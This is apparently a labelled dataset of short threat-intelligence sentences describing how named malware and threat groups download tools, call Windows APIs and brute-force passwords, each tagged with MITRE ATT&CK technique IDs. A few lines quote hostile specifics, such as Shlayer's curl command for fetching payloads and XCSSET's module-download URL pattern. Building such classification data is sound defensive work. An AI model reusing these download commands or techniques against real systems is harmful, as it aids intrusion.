+CHOPSTICK is capable of performing remote file transmission.	['T1105']
+CORESHELL downloads another dropper from its C2 server.	['T1105']
+CSPY Downloader can download additional tools to a compromised host.	['T1105']
+Calisto has the capability to upload and download files to the victim's machine.	['T1105']
+CallMe has the capability to download a file to the victim from the C2 server.	['T1105']
+Cannon can download a payload for execution.	['T1105']
+Carberp can download and execute new plugins from the C2 server.	['T1105']
+Caterpillar WebShell has a module to download and upload files to the system.	['T1105']
+ChChes is capable of downloading files, including additional modules.	['T1105']
+Chaes can download additional files onto an infected machine.	['T1105']
+Chimera has remotely copied tools and malware onto targeted systems.	['T1105']
+China Chopper's server component can download remote files.	['T1105']
+Chrommme can download its code from C2.	['T1105']
+Cobalt Group has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers. The group's JavaScript backdoor is also capable of downloading files.	['T1105']
+Conficker downloads an HTTP server to the infected machine.	['T1105']
+Confucius has downloaded additional files and payloads onto a compromised host following initial access.	['T1105']
+CookieMiner can download additional scripts from a web server.	['T1105']
+CostaBricks can download additional payloads onto a compromised host.	['T1105']
+CostaBricks has been used to load SombRAT onto a compromised host.	['T1105']
+CreepyDrive can download files to the compromised host.	['T1105']
+Cryptoistic has the ability to send and receive files.	['T1105']
+Cuba can download files from its C2 server.	['T1105']
+Cyclops Blink has the ability to download files to target systems.	['T1105']
+DDKONG downloads and uploads files on the victim’s machine.	['T1105']
+DOGCALL can download and execute additional payloads.	['T1105']
+Dacls can download its payload from a C2 server.	['T1105']
+DanBot can download additional files to a targeted system.	['T1105']
+DarkComet can load any files onto the infected machine to execute.	['T1105']
+Darkhotel has used first-stage payloads that download additional malware from C2 servers.	['T1105']
+Diavol can receive configuration updates and additional payloads including wscpy.exe from C2.	['T1105']
+DnsSystem can download files to compromised systems after receiving a command with the string `downloaddd`.	['T1105']
+Doki has downloaded scripts from C2.	['T1105']
+Donut can download and execute previously staged shellcode payloads.	['T1105']
+Dragonfly downloaded tools from a remote server after they were inside the victim network.	['T1105']
+Dragonfly has copied and installed tools for operations once in the victim environment.	['T1105']
+DropBook can download and execute additional files.	['T1105']
+Drovorub can download files to a compromised host.	['T1105']
+Dtrack’s can download and upload a file to the victim’s computer.	['T1105']
+During C0015, the threat actors downloaded additional tools and files onto a compromised network.	['T1105']
+During CostaRicto, the threat actors downloaded malware and tools onto a compromised host.	['T1105']
+During Frankenstein, the threat actors downloaded files and tools onto a victim machine.	['T1105']
+During Operation Sharpshooter, additional payloads were downloaded after a target was infected with a first-stage downloader.	['T1105']
+Dyre has a command to download and executes additional files.	['T1105']
+Egregor has the ability to download files from its C2 server.	['T1105']
+Ember Bear has used tools to download malicious code.	['T1105']
+Emissary has the capability to download files from the C2 server.	['T1105']
+Empire can upload and download to and from a victim machine.	['T1105']
+EvilBunny has downloaded additional Lua scripts from the C2.	['T1105']
+Evilnum can deploy additional components or tools as needed.	['T1105']
+Exaramel for Linux has a command to download a file from  and to a remote C2 server.	['T1105']
+Exaramel has a command to download a file from a remote server to execute.	['T1105']
+Explosive has a function to download a file to the infected system.	['T1105']
+FIN7 has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.	['T1105']
+FIN8 has used remote code execution to download subsequent payloads.	['T1105']
+FYAnti can download additional payloads to a compromised host.	['T1105']
+Felismus can download files from remote servers.	['T1105']
+Flagpro can download additional malware from the C2 server.	['T1105']
+Frankenstein has uploaded and downloaded files to utilize additional plugins.	['T1105']
+FunnyDream can download additional files onto a compromised host.	['T1105']
+GALLIUM dropped additional tools to victims during their operation, including portqry.exe, a renamed cmd.exe file, winrar, and HTRAN.	['T1105']
+Gamaredon Group has downloaded additional malware and tools onto a compromised host.	['T1105']
+Gazer can execute a task to download a file.	['T1105']
+Gelsemium can download additional plug-ins to a compromised host.	['T1105']
+Gold Dragon can download additional components from the C2 server.	['T1105']
+GoldMax can download and execute additional files.	['T1105']
+GoldenSpy constantly attempts to download and execute files from the remote C2, including GoldenSpy itself if not found on the system.	['T1105']
+Gorgon Group malware can download additional files from C2 servers.	['T1105']
+Grandoreiro can download its second stage from a hardcoded URL within the loader's code.	['T1105']
+GreyEnergy can download additional modules and payloads.	['T1105']
+GrimAgent has the ability to download and execute additional payloads.	['T1105']
+GuLoader can download further malware for execution on the victim's machine.	['T1105']
+H1N1 contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.	['T1105']
+HAFNIUM has downloaded malware and tools--including Nishang and PowerCat--onto a compromised host.	['T1105']
+HAWKBALL has downloaded additional files from the C2.	['T1105']
+HTTPBrowser is capable of writing a file to the compromised system from the C2 server.	['T1105']
+Hancitor has the ability to download additional files from C2.	['T1105']
+Helminth can download additional files.	['T1105']
+HiddenWasp downloads a tar compressed archive from a download server to the system.	['T1105']
+Hikit has the ability to download files to a compromised host.	['T1105']
+Hildegard has downloaded additional scripts that build and run Monero cryptocurrency miners.	['T1105']
+HotCroissant has the ability to upload a file from the command and control (C2) server to the victim machine.	['T1105']
+Hydraq creates a backdoor through which remote attackers can download files and additional malware components.	['T1105']
+HyperBro has the ability to download additional files.	['T1105']
+IcedID has the ability to download additional modules and a configuration file from C2.	['T1105']
+IndigoZebra has downloaded additional files and tools from its C2 server.	['T1105']
+Indrik Spider has downloaded additional scripts, malware, and tools onto a compromised host.	['T1105']
+InvisiMole can upload files to the victim's machine for operations.	['T1105']
+Ixeshe can download and execute additional files.	['T1105']
+JPIN can download files and upgrade itself.	['T1105']
+Javali can download payloads from remote C2 servers.	['T1105']
+KEYMARBLE can upload files to the victim’s machine and can download additional payloads.	['T1105']
+KOCTOPUS has executed a PowerShell command to download a file to the system.	['T1105']
+KONNI can download files and execute them on the victim’s machine.	['T1105']
+Kasidet has the ability to download and execute additional files.	['T1105']
+Kazuar downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.	['T1105']
+Ke3chang has used tools to download files to compromised machines.	['T1105']
+Kessel can download additional modules from the C2 server.	['T1105']
+Kevin can download files to the compromised host.	['T1105']
+KeyBoy has a download and upload functionality.	['T1105']
+Kinsing has downloaded additional lateral movement scripts from C2.	['T1105']
+Kwampirs downloads additional files from C2 servers.	['T1105']
+LOWBALL uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware.	['T1105']
+Lazarus Group has downloaded files, malware, and tools from its C2 onto a compromised host.	['T1105']
+LazyScripter had downloaded additional tools to a compromised host.	['T1105']
+Leviathan has downloaded additional scripts and files from adversary-controlled servers.	['T1105']
+LitePower has the ability to download payloads containing system commands to a compromised host.	['T1105']
+LoudMiner used SCP to update the miner from the C2.	['T1105']
+Lucifer can download and execute a replica of itself using certutil.	['T1105']
+MCMD can upload additional files to a compromised host.	['T1105']
+MacMa has downloaded additional files, including an exploit for used privilege escalation.	['T1105']
+Machete can download additional files for execution on the victim’s machine.	['T1105']
+MarkiRAT can download additional files and tools from its C2 server, including through the use of BITSAdmin.	['T1105']
+MechaFlounder has the ability to upload and download files to and from a compromised host.	['T1105']
+Melcoz has the ability to download additional files to a compromised host.	['T1105']
+Metamorfo has used MSI files to download additional files to execute.	['T1105']
+Milan has received files from C2 and stored them in log folders beginning with the character sequence `a9850d2f`.	['T1105']
+MiniDuke can download additional encrypted backdoors onto the victim via GIF files.	['T1105']
+Mis-Type has downloaded additional malware and files onto a compromised host.	['T1105']
+Misdat is capable of downloading files from the C2.	['T1105']
+Mivast has the capability to download and execute .exe files.	['T1105']
+MobileOrder has a command to download a file from the C2 server to the victim mobile device's SD card.	['T1105']
+MoleNet can download additional payloads from the C2.	['T1105']
+Molerats used executables to download malicious files from different sources.	['T1105']
+Mongall can download files to targeted systems.	['T1105']
+More_eggs can download and launch additional payloads.	['T1105']
+"Moses Staff has downloaded and installed web shells to following path ""C:\inetpub\wwwroot\aspnet_client\system_web\IISpool.aspx""."	['T1105']
+Mosquito can upload and download files to the victim.	['T1105']
+MuddyWater has used malware that can upload additional files to the victim’s machine.	['T1105']
+Mustang Panda has downloaded additional executables following the initial infection stage.	['T1105']
+NDiskMonitor can download and execute a file from given URL.	['T1105']
+NETWIRE can downloaded payloads from C2 to the compromised host.	['T1105']
+NOKKI has downloaded a remote module for execution.	['T1105']
+NanoCore has the capability to download and activate additional modules for execution.	['T1105']
+Nebulae can download files from C2.	['T1105']
+Neoichor can download additional files onto a compromised host.	['T1105']
+Nidiran can download and execute files.	['T1105']
+Nomadic Octopus has used malicious macros to download additional files to the victim's machine.	['T1105']
+"OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the ""curl -fsL ""$url"" >$tmp_path"" command to download malicious payloads into a temporary directory."	['T1105']
+OSX_OCEANLOTUS.D has a command to download and execute a file on the victim’s machine.	['T1105']
+OilRig can download remote files onto victims.	['T1105']
+Operation Wocao can download additional files to the infected system.	['T1105']
+Operators deploying Netwalker have used psexec and certutil to retrieve the Netwalker payload.	['T1105', 'T1569.002']
+Orz can download files onto the victim.	['T1105']
+OutSteel can download files from its C2 server.	['T1105']
+P.A.S. Webshell can upload and download files to and from compromised hosts.	['T1105']
+P8RAT can download additional payloads to a target system.	['T1105']
+PLAINTEE has downloaded and executed additional plugins.	['T1105']
+PLATINUM has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel.	['T1105']
+POSHSPY downloads and executes additional PowerShell code and Windows binaries.	['T1105']
+POWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.	['T1105']
+POWERSTATS can retrieve and execute additional PowerShell payloads from the C2 server.	['T1105']
+POWRUNER can download or upload files from its C2 server.	['T1105']
+Pasam creates a backdoor through which remote attackers can upload files.	['T1105']
+"Penquin can execute the command code ""do_download"" to retrieve remote files from C2."	['T1105']
+Peppy can download and execute remote files.	['T1105']
+PipeMon can install additional modules via C2 commands.	['T1105']
+Pisloader has a command to upload a file to the victim machine.	['T1105']
+PlugX has a module to download and execute files on the compromised machine.	['T1105']
+PoisonIvy creates a backdoor through which remote attackers can upload files.	['T1105']
+PolyglotDuke can retrieve payloads from the C2 server.	['T1105']
+Pony can download additional files onto the infected system.	['T1105']
+PowerDuke has a command to download a file.	['T1105']
+PowerLess can download additional payloads to a compromised host.	['T1105']
+PowerPunch can download payloads from adversary infrastructure.	['T1105']
+Psylo has a command to download a file to the system from its C2 server.	['T1105']
+Pupy can upload and download to/from a victim machine.	['T1105']
+QakBot has the ability to download additional components and malware.	['T1105']
+QuietSieve can download and execute payloads on a target host.	['T1105']
+RATANKBA uploads and downloads information.	['T1105']
+RCSession has the ability to drop additional files to an infected machine.	['T1105']
+RDAT can download files via DNS.	['T1105']
+REvil can download a copy of itself from an attacker controlled IP address to the victim machine.	['T1105']
+RGDoor uploads and downloads files to and from the victim’s machine.	['T1105']
+ROKRAT can retrieve additional malicious payloads from its C2 server.	['T1105']
+RTM can download additional files.	['T1105']
+RainyDay can download files to a compromised host.	['T1105']
+Rancor has downloaded additional malware, including by using certutil.	['T1105']
+RedLeaves is capable of downloading a file from a specified URL.	['T1105']
+RegDuke can download files from C2.	['T1105']
+Remcos can upload and download files to and from the victim’s machine.	['T1105']
+RemoteUtilities can upload and download files to and from a target machine.	['T1105']
+Revenge RAT has the ability to upload and download files.	['T1105']
+RogueRobin can save a new file to the system from the C2 server.	['T1105']
+S-Type can download additional files onto a compromised host.	['T1105']
+SDBbot has the ability to download a DLL from C2 to a compromised host.	['T1105']
+SHUTTERSPEED can download and execute an arbitary executable.	['T1105']
+SILENTTRINITY can load additional files and tools, including Mimikatz.	['T1105']
+SLOTHFULMEDIA has downloaded files onto a victim machine.	['T1105']
+SLOWDRIFT downloads additional payloads.	['T1105']
+SMOKEDHAM has used Powershell to download UltraVNC and Ngrok from third-party file sharing sites.	['T1105']
+SUNBURST delivered different payloads, including TEARDROP in at least one instance.	['T1105']
+Saint Bot can download additional files onto a compromised host.	['T1105']
+Sakula has the capability to download files.	['T1105']
+SeaDuke is capable of uploading and downloading files.	['T1105']
+Seasalt has a command to download additional files.	['T1105']
+ServHelper may download additional files to execute.	['T1105']
+Seth-Locker has the ability to download and execute files on a compromised host.	['T1105']
+Shamoon can download an executable to run on the victim.	['T1105']
+Shark  can download additional files from its C2 via HTTP or DNS.	['T1105']
+SharpStage has the ability to download and execute additional payloads via a DropBox API.	['T1105']
+Sharpshooter downloaded additional payloads after a target was infected with a first-stage downloader.	['T1105']
+ShimRat can download additional files.	['T1105']
+ShimRatReporter had the ability to download additional payloads.	['T1105']
+Sibot can download and execute a payload onto a compromised system.	['T1105']
+SideCopy has delivered trojanized executables via spearphishing emails that contacts actor-controlled servers to download malicious payloads.	['T1105']
+SideTwist has the ability to download additional files.	['T1105']
+Sidewinder has used LNK files to download remote files to the victim's network.	['T1105']
+Silence has downloaded additional modules and malware to victim’s machines.	['T1105']
+Skidmap has the ability to download files on an infected host.	['T1105']
+"Sliver can upload files from the C2 server to the victim machine using the ""upload"" command."	['T1105']
+Small Sieve has the ability to download files.	['T1105']
+SodaMaster has the ability to download additional payloads from C2 to the targeted system.	['T1105']
+SpeakUp downloads and executes additional files from a remote server.	['T1105']
+SpicyOmelette can download malicious files from threat actor controlled AWS URL's.	['T1105']
+Squirrelwaffle has downloaded and executed additional encoded payloads.	['T1105']
+StoneDrill has downloaded and dropped temporary files containing scripts; it additionally has a function to upload files from the victims machine.	['T1105']
+StrifeWater can download updates and auxiliary modules.	['T1105']
+StrongPity can download files to specified targets.	['T1105']
+SysUpdate has the ability to download files to a compromised host.	['T1105']
+TA505 has downloaded additional malware to execute on victim systems.	['T1105']
+TA551 has retrieved DLLs and installer binaries for malware execution from C2.	['T1105']
+TAINTEDSCRIBE can download additional modules from its C2 server.	['T1105']
+TSCookie has the ability to upload and download files to and from the infected host.	['T1105']
+TURNEDUP is capable of downloading additional files.	['T1105']
+TYPEFRAME can upload and download files to the victim’s machine.	['T1105']
+Taidoor has downloaded additional files onto a compromised host.	['T1105']
+"TeamTNT has the ""curl"" and ""wget"" commands as well as batch scripts to download new tools."	['T1105']
+The Ritsol backdoor trojan used by Elderwood can download files onto a compromised host from a remote location.	['T1105']
+The Winnti for Windows dropper can place malicious payloads on targeted systems.	['T1105']
+ThiefQuest can download and execute payloads in-memory or from disk.	['T1105']
+Threat Group-3390 has downloaded additional malware and tools, including through the use of `certutil`, onto a compromised host .	['T1105']
+ThreatNeedle can download additional tools to enable lateral movement.	['T1105']
+TinyTurla has the ability to act as a second-stage dropper used to infect the system with additional malware.	['T1105']
+Tomiris can download files and execute them on a victim's system.	['T1105']
+Tonto Team has downloaded malicious DLLs which served as a ShadowPad loader.	['T1105']
+TrickBot downloads several additional files and saves them to the victim's machine.	['T1105']
+Trojan.Karagany can upload, download, and execute files on the victim.	['T1105']
+Tropic Trooper has used a delivered trojan to download additional files.	['T1105']
+UBoatRAT can upload and download files to the victim’s machine.	['T1105']
+Unknown Logger is capable of downloading remote files.	['T1105']
+Ursnif has dropped payload and configuration files to disk. Ursnif has also been used to download and execute additional payloads.	['T1105']
+VBShower has the ability to download VBS files to the target computer.	['T1105']
+VERMIN can download and upload files to the victim's machine.	['T1105']
+Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and NetSupport Manager RAT-based malware.	['T1105']
+Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and Ursnif.	['T1105']
+Vasport can download files.	['T1105']
+Volatile Cedar can deploy additional tools.	['T1105']
+Volgmer can download remote files and additional payloads to the victim's machine.	['T1105']
+WIRTE has downloaded PowerShell code from the C2 server to be executed.	['T1105']
+WarzoneRAT can download and execute additional files.	['T1105']
+Waterbear can receive and load executables from remote C2 servers.	['T1105']
+WellMail can receive data and executable scripts from C2.	['T1105']
+Whitefly has the ability to download additional tools from the C2.	['T1105']
+Windshift has used tools to deploy additional payloads to compromised hosts.	['T1105']
+Winnti Group has downloaded an auxiliary program named ff.exe to infected machines.	['T1105']
+"XCSSET downloads browser specific AppleScript modules using a constructed URL with the ""curl"" command, ""https://"" & domain & ""/agent/scripts/"" & moduleName & "".applescript""."	['T1105']
+XTunnel is capable of downloading additional files.	['T1105']
+YAHOYAH uses HTTP GET requests to download other files that are executed in memory.	['T1105']
+ZLib has the ability to download files.	['T1105']
+ZeroT can download additional payloads onto the victim.	['T1105']
+ZxShell has a command to transfer files from a remote host.	['T1105']
+ZxxZ can download and execute additional files.	['T1105']
+build_downer has the ability to download files from C2 to the infected host.	['T1105']
+can download and execute a second-stage payload.	['T1105', 'T1105']
+cmd can be used to copy files to/from a remotely connected external system.	['T1105']
+creates a backdoor through which remote attackers can upload files.	['T1105', 'T1105']
+esentutl can be used to copy files from a given URL.	['T1105']
+ftp may be abused by adversaries to transfer tools or files from an external system into a compromised environment.	['T1105']
+gh0st RAT can download files to the victim’s machine.	['T1105']
+menuPass has installed updates and new malware on victims.	['T1105']
+njRAT can download files to the victim’s machine.	['T1105']
+xCaon has a command to download files to the victim's machine.	['T1105']
+APT37 leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection.	['T1106']
+APT38 has used the Windows API to execute code within a victim's system.	['T1106']
+Amadey has used a variety of Windows API calls, including `GetComputerNameA`, `GetUserNameA`, and `CreateProcessA`.	['T1106']
+AppleSeed has the ability to use multiple dynamically resolved API calls.	['T1106']
+"Aria-body has the ability to launch files using ""ShellExecute""."	['T1106']
+Attor's dispatcher has used CreateProcessW API for execution.	['T1106']
+Avaddon has used the Windows Crypto API to generate an AES key.	['T1106']
+BADNEWS has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.	['T1106']
+"BBK has the ability to use the ""CreatePipe"" API to add a sub-process for execution via cmd."	['T1106']
+Babuk can use multiple Windows API calls for actions on compromised hosts including discovery and execution.	['T1106']
+"BackConfig can leverage API functions such as ""ShellExecuteA"" and ""HttpOpenRequestA"" in the process of downloading and executing files."	['T1106']
+Bandook has used the ShellExecuteW() function call.	['T1106']
+Bankshot creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().	['T1106']
+Bisonal has used the Windows API to communicate with the Service Control Manager to execute a thread.	['T1106']
+"BitPaymer has used dynamic API resolution to avoid identifiable strings within the binary, including ""RegEnumKeyW""."	['T1106']
+BlackTech has used built-in API functions.	['T1106']
+BloodHound can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.	['T1106']
+BoxCaon has used Windows API calls to obtain information about the compromised host.	['T1106']
+Bumblebee can use multiple Native APIs.	['T1106']
+CaddyWiper has the ability to dynamically resolve and use APIs, including `SeTakeOwnershipPrivilege`.	['T1106']
+"Chaes used the ""CreateFileW()"" API function with read permissions to access downloaded payloads."	['T1106']
+Chimera has used direct Windows system calls by leveraging Dumpert.	['T1106']
+Chrommme can use Windows API including `WinExec` for execution.	['T1106']
+Clop has used built-in API functions such as WNetOpenEnumW(), WNetEnumResourceW(), WNetCloseEnum(), GetProcAddress(), and VirtualAlloc().	['T1106']
+"Cobalt Strike's ""beacon"" payload is capable of running shell commands without ""cmd.exe"" and PowerShell commands without ""powershell.exe"""	['T1106']
+"ComRAT can load a PE file from memory or the file system and execute it with ""CreateProcessW""."	['T1106']
+Conti has used API calls during execution.	['T1106']
+Cuba has used several built-in API functions for discovery like GetIpNetTable and NetShareEnum.	['T1106']
+"Denis used the ""IsDebuggerPresent"", ""OutputDebugString"", and ""SetLastError"" APIs to avoid debugging. Denis used ""GetProcAddress"" and ""LoadLibrary"" to dynamically resolve APIs. Denis also used the ""Wow64SetThreadContext"" API as part of a process hollowing process."	['T1106']
+Diavol has used several API calls like `GetLogicalDriveStrings`, `SleepEx`, `SystemParametersInfoAPI`, `CryptEncrypt`, and others to execute parts of its attack.	['T1106']
+Donut code modules use various API functions to load and inject code.	['T1106']
+"Dridex has used the ""OutputDebugStringW"" function to avoid malware analysis as part of its anti-debugging technique."	['T1106']
+During Operation Honeybee, the threat actors deployed malware that used API calls, including `CreateProcessAsUser`.	['T1106']
+During Operation Wocao, threat actors used the `CreateProcessA` and `ShellExecute` API functions to launch commands after being injected into a selected process.	['T1106']
+Egregor has used the Windows API to make detection more difficult.	['T1106']
+Empire contains a variety of enumeration modules that have an option to use API calls to carry out tasks.	['T1106']
+EvilBunny has used various API calls as part of its checks to see if the malware is running in a sandbox.	['T1106']
+Explosive has a function to call the OpenClipboard wrapper.	['T1106']
+Flagpro can use Native API to enable obfuscation including `GetLastError` and `GetTickCount`.	['T1106']
+FoggyWeb's loader can use API functions to load the FoggyWeb backdoor into the same Application Domain within which the legitimate AD FS managed code is executed.	['T1106']
+FunnyDream can use Native API for defense evasion, discovery, and collection.	['T1106']
+"Gamaredon Group malware has used ""CreateProcess"" to launch additional malicious components."	['T1106']
+Gelsemium has the ability to use various Windows API functions to perform tasks.	['T1106']
+"GoldenSpy can execute remote commands in the Windows command shell using the ""WinExec()"" API."	['T1106']
+"Goopy has the ability to  enumerate the infected system's user name via ""GetUserNameW""."	['T1106']
+Gorgon Group malware can leverage the Windows API call, CreateProcessA(), for execution.	['T1106']
+"Grandoreiro can execute through the ""WinExec"" API."	['T1106']
+"GrimAgent can use Native API including ""GetProcAddress"" and ""ShellExecuteW""."	['T1106']
+GuLoader can use a number of different APIs for discovery and execution.	['T1106']
+HAWKBALL has leveraged several Windows API calls to create processes, gather disk information, and detect debugger activity.	['T1106']
+"Hancitor has used ""CallWindowProc"" and ""EnumResourceTypesA"" to interpret and execute shellcode."	['T1106']
+HermeticWiper can call multiple Windows API functions used for privilege escalation, service execution, and to overwrite random bites of data.	['T1106']
+Higaisa has called various native OS APIs.	['T1106']
+"HotCroissant can perform dynamic DLL importing and API lookups using ""LoadLibrary"" and ""GetProcAddress"" on obfuscated strings."	['T1106']
+"HyperBro has the ability to run an application (""CreateProcessW"") or script/file (""ShellExecuteW"") via API."	['T1106']
+"HyperStack can use Windows API's ""ConnectNamedPipe"" and ""WNetAddConnection2"" to detect incoming connections and connect to remote shares."	['T1106']
+"IcedID has called ""ZwWriteVirtualMemory"", ""ZwProtectVirtualMemory"", ""ZwQueueApcThread"", and ""NtResumeThread"" to inject itself into a remote process."	['T1106']
+"InvisiMole can use winapiexec tool for indirect execution of  ""ShellExecuteW"" and ""CreateProcessA""."	['T1106']
+KOCTOPUS can use the `LoadResource` and `CreateProcessW` APIs for execution.	['T1106']
+KillDisk has called the Windows API to retrieve the hard disk handle and shut down the machine.	['T1106']
+"Lazarus Group has used the Windows API ""ObtainUserAgentString"" to obtain the User-Agent from a compromised host to connect to a C2 server. Lazarus Group has also used various, often lesser known, functions to perform various types of Discovery and Process Injection."	['T1106']
+LightNeuron is capable of starting a process using CreateProcess.	['T1106']
+Lizar has used various Windows API functions on a victim's machine.	['T1106']
+MacMa has used macOS API functions to perform tasks.	['T1106']
+MarkiRAT can run the ShellExecuteW API via the Windows Command Shell.	['T1106']
+Metamorfo has used native WINAPI calls.	['T1106']
+Milan can use the API `DnsQuery_A` for DNS resolution.	['T1106']
+Mis-Type has used Windows API calls, including `NetUserAdd` and `NetUserDel`.	['T1106']
+"NETWIRE can use Native API including ""CreateProcess"" ""GetProcessById"", and ""WriteProcessMemory""."	['T1106']
+"Nebulae has the ability to use ""CreateProcess"" to execute a process."	['T1106']
+Netwalker can use Windows API functions to inject the ransomware DLL.	['T1106']
+PLEAD can use `ShellExecute` to execute applications.	['T1106']
+PcShare has used a variety of Windows API functions.	['T1106']
+Pillowmint has used multiple native Windows APIs to execute and conduct process injections.	['T1106']
+"PipeMon's first stage has been executed by a call to ""CreateProcess"" with the decryption password in an argument. PipeMon has used a call to ""LoadLibrary"" to load its installer."	['T1106']
+"PolyglotDuke can use ""LoadLibraryW"" and ""CreateProcess"" to load and execute code."	['T1106']
+Pteranodon has used various API calls.	['T1106']
+"QakBot can use ""GetProcAddress"" to help delete malicious strings from memory."	['T1106']
+"RCSession can use WinSock API for communication including ""WSASend"" and ""WSARecv""."	['T1106']
+REvil can use Native API for execution and to retrieve active services.	['T1106']
+ROKRAT can use a variety of API calls to execute shellcode.	['T1106']
+Rising Sun used dynamic API resolutions to various Windows APIs by leveraging `LoadLibrary()` and `GetProcAddress()`.	['T1106']
+SILENTTRINITY has the ability to leverage API including `GetProcAddress` and `LoadLibrary`.	['T1106']
+"SUNSPOT used Windows API functions such as ""MoveFileEx"" and ""NtQueryInformationProcess"" as part of the SUNBURST injection process."	['T1106']
+Sharpshooter's first-stage downloader resolved various Windows libraries and APIs, including LoadLibraryA(), GetProcAddress(), and CreateProcessA().	['T1106']
+ShimRat has used Windows API functions to install the service and shim.	['T1106']
+ShimRatReporter used several Windows API functions to gather information from the infected system.	['T1106']
+SideCopy has executed malware by calling the API function `CreateProcessW`.	['T1106']
+"SideTwist can use ""GetUserNameW"", ""GetComputerNameW"", and ""GetComputerNameExW"" to gather information."	['T1106']
+Siloscape makes various native API calls.	['T1106']
+"SodaMaster can use ""RegOpenKeyW"" to access the Registry."	['T1106']
+"SombRAT has the ability to respawn itself using ""ShellExecuteW"" and ""CreateProcessW""."	['T1106']
+Stuxnet uses the SetSecurityDescriptorDacl API to reduce object integrity levels.	['T1106']
+SynAck parses the export tables of system DLLs to locate and call various Windows API functions.	['T1106']
+"The file collection tool used by RainyDay can utilize native API including ""ReadDirectoryChangeW"" for folder monitoring."	['T1106']
+ThiefQuest uses various API to perform behaviors such as executing payloads and performing local enumeration.	['T1106']
+Torisma has used various Windows API calls.	['T1106']
+Turla and its RPC backdoors have used APIs calls for various tasks related to subverting AMSI and accessing then executing commands through RPC and/or named pipes.	['T1106']
+"Ursnif has used ""CreateProcessW"" to create child processes."	['T1106']
+Volgmer executes payloads using the Windows API call CreateProcessW().	['T1106']
+WarzoneRAT can use a variety of API calls on a compromised host.	['T1106']
+WastedLocker's custom crypter, CryptOne, leveraged the VirtualAlloc() API function to help execute the payload.	['T1106']
+Waterbear can leverage API functions for execution.	['T1106']
+WhisperGate has used the `ExitWindowsEx` API to flush file buffers to disk and stop running processes.	['T1106']
+"WindTail can invoke Apple APIs ""contentsOfDirectoryAtPath"", ""pathExtension"", and (string) ""compare""."	['T1106']
+Winnti for Windows can use Native API to create a new process and to start services.	['T1106']
+ZxxZ has used API functions such as `Process32First`, `Process32Next`, and `ShellExecuteA`.	['T1106']
+"build_downer has the ability to use the ""WinExec"" API to execute malware on a compromised host."	['T1106']
+"menuPass has used native APIs including ""GetModuleFileName"", ""lstrcat"", ""CreateFile"", and ""ReadFile""."	['T1106']
+xCaon has leveraged native OS function calls to retrieve  victim's network adapter's  information using GetAdapterInfo() API.	['T1106']
+APT34 has used brute force techniques to obtain credentials.	['T1110']
+APT38 has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.	['T1110']
+APT39 has used Ncrack to reveal credentials.	['T1110']
+Caterpillar WebShell has a module to perform brute force attacks on a system.	['T1110']
+Chaos conducts brute force attacks against SSH services to gain initial access.	['T1110']
+Dragonfly dropped and executed Hydra, a password cracker.	['T1110']
+FIN5 has has used the tool GET2 Penetrator to look for remote login and hard-coded credentials.	['T1110']
+Fox Kitten has brute forced RDP credentials.	['T1110']
+HEXANE has used brute force attacks to compromise valid credentials.	['T1110']
+Kinsing has attempted to brute force hosts over SSH.	['T1110']
+Lazarus Group has performed brute force attacks against administrator accounts.	['T1110']
+OilRig has used brute force techniques to obtain credentials.	['T1110']
+Pysa has used brute force attempts against a central management console, as well as some Active Directory accounts.	['T1110']
+QakBot can conduct brute force attacks to capture credentials.	['T1110']
+APT28 has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days. APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks.	['T1110.001']
+China Chopper's server component can perform brute force password guessing against authentication portals.	['T1110.001']
+CrackMapExec can brute force passwords for a specified user on a single target system or across an entire network.	['T1110.001']
+Emotet has been observed using a hard coded list of passwords to brute force user accounts.	['T1110.001']
+HermeticWizard can use a list of hardcoded credentials in attempt to authenticate to SMB shares.	['T1110.001']
+Lucifer has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and    passwords.	['T1110.001']
+P.A.S. Webshell can use predefined users and passwords to execute brute force attacks against SSH, FTP, POP3, MySQL, MSSQL, and PostgreSQL services.	['T1110.001']
+Pony has used a small dictionary of common passwords against a collected list of local accounts.	['T1110.001']
+SpeakUp can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels.	['T1110.001']
+Xbash can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.	['T1110.001']
+APT3 has been known to brute force password hashes to be able to leverage plain text credentials.	['T1110.002']
+APT41 performed password brute-force attacks on the local admin account.	['T1110.002']
+Dragonfly 2.0 dropped and executed tools used for password cracking, including Hydra and CrackMapExec.	['T1110.002']
+Dragonfly has dropped and executed tools used for password cracking, including Hydra and CrackMapExec.	['T1110.002']
+During Night Dragon, threat actors used Cain & Abel to crack password hashes.	['T1110.002']
+FIN6 has extracted password hashes from ntds.dit to crack offline.	['T1110.002']
+Net Crawler uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.	['T1110.002']
+APT28 has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks. APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password spray attacks.	['T1110.003']
+APT29 has conducted brute force password spray attacks.	['T1110.003']
+APT33 has used password spraying to gain access to target systems.	['T1110.003']
+"Bad Rabbit’s ""infpub.dat"" file uses NTLM login credentials to brute force Windows machines."	['T1110.003']
+Chimera has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.	['T1110.003']
